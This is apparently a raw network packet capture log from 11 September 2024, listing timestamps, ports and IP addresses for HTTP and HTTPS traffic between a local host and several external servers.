Sep 11, 2024 16:22:17.875044107 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875055075 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875066996 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875072956 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.875072956 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.875097036 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.875097036 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.875152111 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875163078 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875171900 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875183105 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875193119 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.875195026 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875205994 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875214100 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.875222921 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875232935 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875245094 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875256062 CEST	80	49748	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.875260115 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.875260115 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.875349045 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.875406981 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.875761986 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875772953 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875778913 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875817060 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875828981 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875838995 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875850916 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875853062 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.875853062 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.875895023 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.875895023 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.875905991 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875916958 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875926018 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875955105 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.875974894 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.875984907 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875994921 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.876005888 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.876015902 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.876049042 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.876049042 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.876622915 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.876635075 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.876643896 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.876684904 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.876684904 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.876848936 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.876859903 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.876883984 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.876894951 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.876903057 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.876912117 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.876912117 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.876974106 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.878916979 CEST	80	49748	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.878967047 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.879281998 CEST	80	49750	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.879292011 CEST	80	49747	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.879352093 CEST	49750	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.879354954 CEST	49747	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.879445076 CEST	49750	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.879664898 CEST	49752	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.879916906 CEST	80	49751	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.879981041 CEST	49751	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.880162001 CEST	49751	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.880245924 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.880281925 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.880340099 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.880557060 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.880575895 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.881494999 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881506920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881515980 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881558895 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.881586075 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.881601095 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881613016 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881623030 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881633997 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881644964 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881648064 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.881664991 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.881696939 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.881724119 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881768942 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.881773949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881784916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881804943 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881823063 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.881839991 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.881959915 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881970882 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881980896 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.881990910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.882005930 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.882040024 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.884455919 CEST	80	49752	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.884521961 CEST	49752	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.884609938 CEST	49752	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.884829998 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.884856939 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.884916067 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.884978056 CEST	80	49750	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.885019064 CEST	49750	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.885210037 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.885227919 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.885371923 CEST	80	49751	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.885411978 CEST	49751	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.900075912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.900098085 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.900109053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.900120020 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.900130987 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.900141954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.900152922 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.900168896 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.900203943 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.900228024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.900239944 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.900250912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.900263071 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.900273085 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.900276899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.900288105 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.900289059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.900301933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.900316954 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.900336981 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900348902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900353909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.900361061 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900391102 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.900413990 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.900552034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900563002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900573015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900583029 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900599003 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.900599957 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900619984 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.900644064 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.900757074 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900804996 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.900825977 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900842905 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900854111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900865078 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900868893 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.900876999 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900887012 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900890112 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.900897026 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900898933 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.900907993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900918961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900930882 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900939941 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900943995 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.900944948 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.900950909 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900960922 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900970936 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900974035 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.900981903 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.900999069 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.901015997 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.901118040 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901129007 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901139975 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901149988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901161909 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901170969 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.901189089 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.901201963 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.901257992 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901303053 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.901614904 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901626110 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901638031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901648998 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901659966 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901663065 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.901669979 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901680946 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901690006 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.901715040 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.901732922 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901743889 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901753902 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901765108 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901773930 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.901777029 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901786089 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.901787996 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901801109 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901813030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901818037 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.901823044 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901839018 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.901853085 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.901937008 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901947975 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901957989 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901968956 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.901987076 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902002096 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902132034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902143002 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902151108 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902162075 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902173042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902182102 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902183056 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902194023 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902195930 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902204990 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902216911 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902216911 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902228117 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902231932 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902239084 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902247906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902266026 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902261972 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902276993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902287960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902292967 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902298927 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902309895 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902319908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902324915 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902331114 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902343035 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902348042 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902365923 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902383089 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902421951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902432919 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902441978 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902452946 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902463913 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902472019 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902475119 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902487993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902498007 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902499914 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902508974 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902513027 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902518988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902538061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902539968 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902549028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902559042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902565956 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902579069 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902584076 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902590036 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902601004 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902606964 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902611971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902621031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902631998 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902633905 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902643919 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902653933 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902662039 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902664900 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902677059 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902687073 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902687073 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902699947 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902713060 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902721882 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902750015 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902901888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902913094 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902923107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902945042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902951956 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902955055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902965069 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902975082 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.902976036 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.902990103 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903004885 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903006077 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903023005 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903028011 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903033972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903038025 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903043985 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903054953 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903065920 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903068066 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903076887 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903086901 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903095007 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903101921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903105021 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903114080 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903124094 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903134108 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903134108 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903145075 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903155088 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903162003 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903167009 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903177977 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903182030 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903188944 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903192043 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903199911 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903211117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903220892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903227091 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903233051 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903250933 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903260946 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903285980 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903554916 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903567076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903578997 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903592110 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903604031 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903611898 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903614044 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903629065 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.903633118 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.903646946 CEST	49734	80	192.168.2.4	147.45.44.104
